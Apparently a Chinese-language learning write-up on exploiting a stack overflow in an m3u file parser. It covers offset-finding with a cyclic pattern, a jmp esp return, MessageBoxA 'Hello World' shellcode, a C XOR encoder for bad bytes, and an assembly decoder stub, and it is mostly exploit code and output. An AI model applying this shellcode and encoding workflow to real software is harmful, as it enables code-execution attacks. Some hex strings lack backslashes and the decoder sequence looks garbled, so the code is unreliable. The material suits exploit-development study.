FirstBlood
程序情况:小道消息对m3u文件分析,当m3u文件输入很多字符的时候程序会崩溃。
1.用二分法跟字符串定位溢出点。
2.搜索所有模块-命令-jmp esp
找个顺眼的放入溢出地址,下断点,将这个地址填入溢出点后,程序溢出就会在这个地址断下。
//MessageboxA弹出Helloworld源码
char bShellcode[] = "x83xECx20xEBx4Dx47x65x74x50x72x6Fx63x41x64x64x72x65x73x73x00x4Cx6Fx61x64x4Cx69x62x72x61x72x79x45x78x41x00x55x73x65x72x33x32x2Ex64x6Cx6Cx00x4Dx65x73x73x61x67x65x42x6Fx78x41x00x45x78x69x74x50x72x6Fx63x65x73x73x00x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x00xE8x00x00x00x00x5Bx64x8Bx35x30x00x00x00x8Bx76x0Cx8Bx76x1Cx8Bx36x8Bx56x08x53x52xE8x12x00x00x00x8BxF0x8Dx4BxBDx51x52xFFxD0x53x56x50x52xE8x6Ex00x00x00x55x8BxECx83xECx0Cx52x8Bx55x08x8Bx72x3Cx8Dx34x32x8Bx76x78x8Dx34x32x8Bx7Ex1Cx8Dx3Cx3Ax89x7DxFCx8Bx7Ex20x8Dx3Cx3Ax89x7DxF8x8Bx7Ex24x8Dx3Cx3Ax89x7DxF4x33xC0xEBx01x40x8Bx75xF8x8Bx34x86x8Bx55x08x8Dx34x32x8Bx5Dx0Cx8Dx7BxAExB9x0Ex00x00x00xFCxF3xA6x75xE3x8Bx75xF4x33xFFx66x8Bx3Cx46x8Bx55xFCx8Bx34xBAx8Bx55x08x8Dx04x32x5Ax8BxE5x5DxC2x08x00x55x8BxECx83xECx08x8Bx5Dx14x8Dx4BxCCx6Ax00x6Ax00x51xFFx55x0Cx8Dx4BxD7x51x50xFFx55x10x89x45xFCx8Dx4BxE3x51xFFx75x08xFFx55x10x89x45xF8x8Dx4BxEFx6Ax00x51x51x6Ax00xFFx55xFCx6Ax00xFFx55xF8";
90 用来定位,标记,等作用。
EncodeShellCode
#include "pch.h"
#include <iostream>
bool AutoEncoder(char* pData, int nSize)
{
// 1.循环尝试用不同的key加密,直到加密的结果不出现0x00,0x0A,0x0D
int nOutKey = 0x00;
unsigned char* pBuffer = NULL;
bool bComplete = true;
pBuffer = (unsigned char*)new char[nSize + 1];
for (int key=0;key<0xFF;key++)
{
nOutKey = key;
bComplete = true;
for (int i=0;i<nSize;i++)
{
// pBuffer[i]保存pData[i]跟Key异或的值
// 如果异或完的值是0x00或者0x0A或者0x0D,就退出换一个key继续。
pBuffer[i] = pData[i] ^ key;
if (0x00==pBuffer[i]|| 0x0A == pBuffer[i] || 0x0D == pBuffer[i])
{
bComplete = false;
break;
}
}
if (bComplete)
{
break;
}
}
// 2. 判断加密是否成功,不成功则返回false
if (!bComplete)
{
return false;
}
// 3. 将加密后的内容保存到文件
FILE *fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
{
return false;
}
// 3.1 输出加密的密码
fprintf(fpOutFile, "/* Encode Key=0x%0.2X*/ ", nOutKey);
// 3.2 输出加密完的代码
fprintf(fpOutFile, "char bShellcode[]=\ "");
for (int i=0;i<nSize;i++)
{
fprintf(fpOutFile, "\x%0.2X", pBuffer[i]);
if ((i+1)%16==0)
{
fprintf(fpOutFile, ""\ "");
}
}
// 3.3 输出分号
fprintf(fpOutFile, "";");
// 4.关闭句柄
fclose(fpOutFile);
delete[] pBuffer;
return true;
}
int main()
{
char bShellcode[] = "x83xECx20xEBx4Dx47x65x74x50x72x6Fx63x41x64x64x72x65x73x73x00x4Cx6Fx61x64x4Cx69x62x72x61x72x79x45x78x41x00x55x73x65x72x33x32x2Ex64x6Cx6Cx00x4Dx65x73x73x61x67x65x42x6Fx78x41x00x45x78x69x74x50x72x6Fx63x65x73x73x00x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x00xE8x00x00x00x00x5Bx64x8Bx35x30x00x00x00x8Bx76x0Cx8Bx76x1Cx8Bx36x8Bx56x08x53x52xE8x12x00x00x00x8BxF0x8Dx4BxBDx51x52xFFxD0x53x56x50x52xE8x6Ex00x00x00x55x8BxECx83xECx0Cx52x8Bx55x08x8Bx72x3Cx8Dx34x32x8Bx76x78x8Dx34x32x8Bx7Ex1Cx8Dx3Cx3Ax89x7DxFCx8Bx7Ex20x8Dx3Cx3Ax89x7DxF8x8Bx7Ex24x8Dx3Cx3Ax89x7DxF4x33xC0xEBx01x40x8Bx75xF8x8Bx34x86x8Bx55x08x8Dx34x32x8Bx5Dx0Cx8Dx7BxAExB9x0Ex00x00x00xFCxF3xA6x75xE3x8Bx75xF4x33xFFx66x8Bx3Cx46x8Bx55xFCx8Bx34xBAx8Bx55x08x8Dx04x32x5Ax8BxE5x5DxC2x08x00x55x8BxECx83xECx08x8Bx5Dx14x8Dx4BxCCx6Ax00x6Ax00x51xFFx55x0Cx8Dx4BxD7x51x50xFFx55x10x89x45xFCx8Dx4BxE3x51xFFx75x08xFFx55x10x89x45xF8x8Dx4BxEFx6Ax00x51x51x6Ax00xFFx55xFCx6Ax00xFFx55xF8";
AutoEncoder(bShellcode, sizeof(bShellcode));
}
加密完
加密密码是0x07
/* Encode Key=0x07*/
char bShellcode[]=
"x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63x75"
"x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7Ex42"
"x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4Ax62"
"x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57x75"
"x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75x6B"
"x63x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07x8C"
"x71x0Bx8Cx71x1Bx8Cx31x8Cx51x0Fx54x55xEFx15x07x07"
"x07x8CxF7x8Ax4CxBAx56x55xF8xD7x54x51x57x55xEFx69"
"x07x07x07x52x8CxEBx84xEBx0Bx55x8Cx52x0Fx8Cx75x3B"
"x8Ax33x35x8Cx71x7Fx8Ax33x35x8Cx79x1Bx8Ax3Bx3Dx8E"
"x7AxFBx8Cx79x27x8Ax3Bx3Dx8Ex7AxFFx8Cx79x23x8Ax3B"
"x3Dx8Ex7AxF3x34xC7xECx06x47x8Cx72xFFx8Cx33x81x8C"
"x52x0Fx8Ax33x35x8Cx5Ax0Bx8Ax7CxA9xBEx09x07x07x07"
"xFBxF4xA1x72xE4x8Cx72xF3x34xF8x61x8Cx3Bx41x8Cx52"
"xFBx8Cx33xBDx8Cx52x0Fx8Ax03x35x5Dx8CxE2x5AxC5x0F"
"x07x52x8CxEBx84xEBx0Fx8Cx5Ax13x8Ax4CxCBx6Dx07x6D"
"x07x56xF8x52x0Bx8Ax4CxD0x56x57xF8x52x17x8Ex42xFB"
"x8Ax4CxE4x56xF8x72x0FxF8x52x17x8Ex42xFFx8Ax4CxE8"
"x6Dx07x56x56x6Dx07xF8x52xFBx6Dx07xF8x52xFFx07";
DecodeShellCode
int main()
{
__asm
{
// 1.GetPC
xor eax,eax
call tag_GET_PC
tag_GET_PC:
retn
pop eax
// 2.Decode
lea esi,[eax+0x1B] // esi = Shellcode(Encode)需要解密的位置
// 1B正好跳过了这段机器码
xor ecx,ecx
mov cx,0x0136
tag_Decode:
mov al,[esi+ecx] // 解密前字节
xor al,0x02 // 解密后字节
mov [esi+ecx],al
loop tag_Decode
xor [esi+ecx],0x02 // 将最后一个字节解密(因为ecx为0时LOOP会停止)
// 3.跳转到Shellcode
jmp esi
}
}
禁用优化,安全检查,数据保护,随即地址
用调试器提取机器码。
用来解码
"x33xC0xE8x00x00x00x00xC3x58x8Dx70x1Bx33xC9x66xB9x36x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
因为00000000的位置会被截断,所以改成FFFFFFFF
"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x36x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
Python生成定位用字符串
def createPattern(size):
char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2="abcdefghijklmnopqrstuvwxyz"
char3="0123456789,.;+=-_!&()#@({})[]%"
pattern = []
max = int(size)
while len(pattern) < max:
for ch1 in char1:
for ch2 in char2:
for ch3 in char3:
if len(pattern) < max:
pattern.append(ch1)
if len(pattern) < max:
pattern.append(ch2)
if len(pattern) < max:
pattern.append(ch3)
pattern = "".join(pattern)
return pattern
import sys
size = int(sys.argv[1])
s = createPattern(size)
file = open("Pattern.txt", "w+")
file.write(s)
file.close()